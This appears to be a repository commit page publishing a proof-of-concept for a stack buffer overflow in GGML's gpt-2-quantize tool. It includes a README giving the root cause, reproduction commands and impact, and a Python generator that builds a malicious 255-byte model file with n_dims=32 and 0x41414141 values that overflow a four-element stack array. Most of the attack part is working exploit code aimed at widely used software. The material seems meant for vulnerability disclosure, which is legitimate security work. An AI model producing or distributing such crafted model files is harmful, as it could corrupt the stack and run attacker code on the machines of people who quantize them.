Upload 4 files
Browse filesStack Buffer Overflow via Unbounded n_dims in Model Quantization (CWE-121)
- .gitattributes +1 -0
- PoC Proof — GGML Stack Buffer Overflow in Model Quantization (CWE-121).pdf +3 -0
- README.md +44 -0
- gen_stack_overflow_v2.py +47 -0
- malicious_gpt2_v2.bin +3 -0
.gitattributes
CHANGED
|
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
|
| 33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
| 34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
| 35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
|
|
|
|
|
| 33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
| 34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
| 35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
| 36 |
+
PoC[[:space:]]Proof[[:space:]]—[[:space:]]GGML[[:space:]]Stack[[:space:]]Buffer[[:space:]]Overflow[[:space:]]in[[:space:]]Model[[:space:]]Quantization[[:space:]](CWE-121).pdf filter=lfs diff=lfs merge=lfs -text
|
PoC Proof — GGML Stack Buffer Overflow in Model Quantization (CWE-121).pdf
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:cbf1adec1a06cd821676dfe279501b52c518254cfbd15fd77befeb035089a178
|
| 3 |
+
size 345147
|
README.md
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# GGML common-ggml.cpp — Stack Buffer Overflow (CWE-121)
|
| 2 |
+
|
| 3 |
+
A crafted 255-byte model file causes a stack buffer overflow in `gpt-2-quantize` / `gpt-j-quantize` with attacker-controlled data, enabling potential code execution.
|
| 4 |
+
|
| 5 |
+
## Vulnerability
|
| 6 |
+
|
| 7 |
+
**File:** `examples/common-ggml.cpp:113-116` in `ggml_common_quantize_0()`
|
| 8 |
+
**Root Cause:** `n_dims` is read from the model file with no bounds check, then used to index `int32_t ne[4]`. Setting `n_dims > 4` writes attacker-controlled data past the 16-byte stack array.
|
| 9 |
+
|
| 10 |
+
## Reproduction
|
| 11 |
+
|
| 12 |
+
```bash
|
| 13 |
+
# Generate the malicious model file
|
| 14 |
+
python3 gen_stack_overflow_v2.py
|
| 15 |
+
|
| 16 |
+
# Build ggml with AddressSanitizer
|
| 17 |
+
git clone https://github.com/ggerganov/ggml && cd ggml
|
| 18 |
+
mkdir build && cd build
|
| 19 |
+
cmake .. -DCMAKE_BUILD_TYPE=Debug \
|
| 20 |
+
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
|
| 21 |
+
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
|
| 22 |
+
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
|
| 23 |
+
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
|
| 24 |
+
make -j4 gpt-2-quantize
|
| 25 |
+
|
| 26 |
+
# Trigger crash
|
| 27 |
+
./bin/gpt-2-quantize malicious_gpt2_v2.bin output.bin q4_0
|
| 28 |
+
# Result: Segmentation fault (without ASan) / ASan: stack-buffer-overflow (with ASan)
|
| 29 |
+
```
|
| 30 |
+
|
| 31 |
+
## Files
|
| 32 |
+
|
| 33 |
+
| File | Description |
|
| 34 |
+
|---|---|
|
| 35 |
+
| `malicious_gpt2_v2.bin` | 255-byte malicious GPT-2 model file (n_dims=32) |
|
| 36 |
+
| `gen_stack_overflow_v2.py` | Python generator script |
|
| 37 |
+
|
| 38 |
+
## Impact
|
| 39 |
+
|
| 40 |
+
Stack buffer overflow with attacker-controlled data. Overwrites saved registers, return address, and adjacent stack variables in `ggml_common_quantize_0()`. Potential for arbitrary code execution when a user quantizes a malicious model file.
|
| 41 |
+
|
| 42 |
+
## Tested Version
|
| 43 |
+
|
| 44 |
+
ggml 0.11.0 (commit ac6f7b44f60fde0091f0b3d99afde48f8c99b13a)
|
gen_stack_overflow_v2.py
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import struct
|
| 2 |
+
|
| 3 |
+
def write_malicious_gpt2_model(path):
|
| 4 |
+
buf = bytearray()
|
| 5 |
+
|
| 6 |
+
# Magic: GGML_FILE_MAGIC
|
| 7 |
+
buf += struct.pack('<I', 0x67676d6c)
|
| 8 |
+
|
| 9 |
+
# Hyperparameters
|
| 10 |
+
n_vocab = 2 # minimal vocab
|
| 11 |
+
buf += struct.pack('<i', n_vocab) # n_vocab (in hparams)
|
| 12 |
+
buf += struct.pack('<i', 1024) # n_ctx
|
| 13 |
+
buf += struct.pack('<i', 768) # n_embd
|
| 14 |
+
buf += struct.pack('<i', 12) # n_head
|
| 15 |
+
buf += struct.pack('<i', 12) # n_layer
|
| 16 |
+
buf += struct.pack('<i', 1) # ftype
|
| 17 |
+
|
| 18 |
+
# Vocab section starts with n_vocab again
|
| 19 |
+
buf += struct.pack('<i', n_vocab)
|
| 20 |
+
|
| 21 |
+
# Vocab entries (minimal)
|
| 22 |
+
for i in range(n_vocab):
|
| 23 |
+
word = f't{i}'.encode()
|
| 24 |
+
buf += struct.pack('<I', len(word))
|
| 25 |
+
buf += word
|
| 26 |
+
|
| 27 |
+
# Tensor: n_dims=32 triggers stack overflow in ne[4]
|
| 28 |
+
n_dims = 32
|
| 29 |
+
buf += struct.pack('<i', n_dims)
|
| 30 |
+
|
| 31 |
+
tensor_name = b'weights'
|
| 32 |
+
buf += struct.pack('<i', len(tensor_name))
|
| 33 |
+
buf += struct.pack('<i', 0) # ttype = F32
|
| 34 |
+
|
| 35 |
+
# Dimensions - first 4 go into ne[4], rest overflow stack
|
| 36 |
+
for i in range(n_dims):
|
| 37 |
+
buf += struct.pack('<i', 0x41414141 if i >= 4 else 1)
|
| 38 |
+
|
| 39 |
+
buf += tensor_name
|
| 40 |
+
# Some dummy tensor data
|
| 41 |
+
buf += b'\x00' * 64
|
| 42 |
+
|
| 43 |
+
with open(path, 'wb') as f:
|
| 44 |
+
f.write(buf)
|
| 45 |
+
print(f'Written {len(buf)} bytes to {path}')
|
| 46 |
+
|
| 47 |
+
write_malicious_gpt2_model('/tmp/ggml-poc/malicious_gpt2_v2.bin')
|
malicious_gpt2_v2.bin
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:69610a4e1648eab6af2267e089c07e23adb42cceba5833c61565e0e1e1eca5dd
|
| 3 |
+
size 255
|